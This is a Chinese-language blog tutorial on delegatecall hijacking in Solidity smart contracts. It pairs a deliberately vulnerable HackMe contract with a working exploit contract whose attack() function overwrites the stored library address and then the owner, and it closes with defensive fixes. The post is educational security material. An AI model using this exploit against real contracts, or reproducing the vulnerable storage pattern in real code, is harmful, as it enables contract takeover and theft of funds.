Delegate call hijacking

Chiu Lv4

Excavation initiation!

今日讲讲入门漏洞–delegatecall 劫持

这是一个非常有代表性的陷阱式漏洞,攻击者不需要合约授权、不需要提前部署攻击逻辑,只要不小心用了 delegatecall + 外部地址,就会把你合约的状态变量拱手让人。

什么是 delegatecall

简单说:

delegatecall 是一种 Solidity 中的底层调用方式,用来执行其他合约的代码,但使用自己合约的storage layout

官方定义是:

A.delegatecall(B) 会在 A 的上下文中执行 B 的函数,B 中对变量的任何修改,都会作用在 A 上。

为啥 delegatecall 会出事?

在以下情况,使用 delegatecall 就极容易出事:

  1. 调用了一个“库合约”来做逻辑抽象(这儿没问题);
  2. 把库地址保存在状态变量里,攻击者可以改这个地址,换成自己的恶意合约;
  3. 没有校验 delegatecall 的来源,也没限制调用者;
  4. 把库和主合约的storage布局搞错了(比如库没 owner,主合约有 owner,就可能被覆盖),那这时问题就更严重了。

示例合约

Lib 合约:一个看起来人畜无害的逻辑库

1
2
3
4
5
6
7
8
contract Lib {
uint public someNumber;

function UpdateSomething(uint _num) public {
someNumber = _num;
}
}

只做了一件事,把 _num 写进 someNumber,本身没问题。

HackMe 合约:受害者人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract HackMe {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2

constructor(address _lib) public {
lib = _lib;
owner = msg.sender;
}

function UpdateSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("UpdateSomething(uint256)", _num));
}
}

问题来了:

  • delegatecall 调用 Lib.UpdateSomething()
  • UpdateSomething() 会写入 someNumber,但它是在 Lib 的 slot 0;
  • HackMe 里,slot 0 是 lib,slot 1 是 owner

所以攻击者只要构造一个伪装成库的合约,就能用 UpdateSomething() 覆盖 owner、替代库地址、甚至后门写入任意状态变量

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract exploit {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2

HackMe public hackme;

constructor(HackMe _hackme) public {
hackme = HackMe(_hackme);
}

function attack() public {
// 第一次调用:把 hackme.lib 改成攻击者合约地址
hackme.UpdateSomething(uint(address(this))); // 写入 slot 0

// 第二次调用:这时候 hackme.delegatecall 会调用攻击者自己的 UpdateSomething
hackme.UpdateSomething(1); // 触发 owner 改写
}

function UpdateSomething(uint _num) public {
owner = msg.sender; // 把 owner 改为攻击者地址
}
}

攻击流程:

  • 攻击者部署 exploit 合约;
  • 调用 attack()
    • 第一次 UpdateSomething()lib 地址改为 exploit
    • 第二次 UpdateSomething() 实际 delegatecall 到攻击者自己的函数;
    • 改写 owner 成为 msg.sender(攻击者);
  • 接管整个合约

PWN手DNA动了,你长得好像GOT表函数指针劫持,似故人三分

如何防御

有几个方向可以修复这种问题:

1. 把owner,库函数地址之类的变量声明为immutable

2. 加权限控制

1
require(msg.sender == owner)

3. 直接别把库函数地址作为状态变量(使用 using for

避免写成 delegatecall(lib, ... ),而是用 internal libraryusing LibraryName for Type 方式调用。

4. 使用固定的逻辑合约 + proxy 模式 + 可升级框架

如果一定要动态调用地址,那最好:

  • 确保逻辑合约和存储合约布局完全一致;
  • 禁止随意调用敏感逻辑函数;
  • 或使用 OpenZeppelin 的 TransparentProxy 框架自动处理 delegatecall 安全。
  • Title: Delegate call hijacking
  • Author: Chiu
  • Created at : 2025-04-22 21:52:31
  • Updated at : 2025-07-15 13:01:43
  • Link: https://github.com/Idealist17/github.io/2025/04/22/delegateCall—hijack/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments